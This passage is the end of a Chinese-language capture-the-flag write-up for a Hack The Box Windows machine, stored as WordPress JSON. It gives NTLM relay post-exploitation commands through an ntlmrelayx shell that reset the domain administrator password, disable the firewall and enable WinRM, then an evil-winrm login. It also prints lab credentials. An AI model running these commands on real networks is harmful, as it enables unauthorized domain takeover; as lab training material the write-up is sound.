\/><\/p>\n<p><code>NTLM<\/code>\u53cd\u5c04\u653b\u51fb\u6210\u529f\uff01\u76f4\u63a5\u8fde\u63a5<code>ntlmrelayx<\/code>\u76d1\u542c\u7684\u672c\u5730<code>11000<\/code>\u7aef\u53e3\uff0c\u6267\u884c\u91cd\u7f6e\u57df\u7ba1\u7406\u5458\u5bc6\u7801\u3001\u5173\u95ed\u9632\u706b\u5899\u548c\u6253\u5f00<code>WinRM<\/code>\u8fdc\u7a0b\u7ba1\u7406\u7684\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">nc -nv 127.0.0.1 11000\nCMD \/C \"net user Administrator Asd310056 \/domain\"\nCMD \/C \"netsh advfirewall set allprofiles state off\"\nCMD \/C \"powershell -Command 'Enable-PSRemoting'\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760659303186-1bf0dffa-b896-40cf-82ef-fe85c81ba00a.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u4f7f\u7528<code>evil-winrm<\/code>\u767b\u5f55\u9776\u673a\u57df\u7ba1\u7406\u5458\u8d26\u53f7\uff1a<\/p>\n<pre><code class=\"language-shell\">evil-winrm -i dc01.signed.htb -u Administrator -p \"Asd310056\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760659401637-903e83ad-1aef-40a0-bc55-597083fa67f4.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.11.90\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09 \u63d0\u4f9b\u51ed\u636e\uff1ascott \/ Sm230#C5NatH \u4fe1\u606f\u6536\u96c6 ICM &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[19,13],"tags":[],"class_list":["post-325","post","type-post","status-publish","format-standard","hentry","category-htb_season_9","category-windows_machine"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/325","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=325"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/325\/revisions"}],"predecessor-version":[{"id":326,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/325\/revisions\/326"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=325"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=325"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=325"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}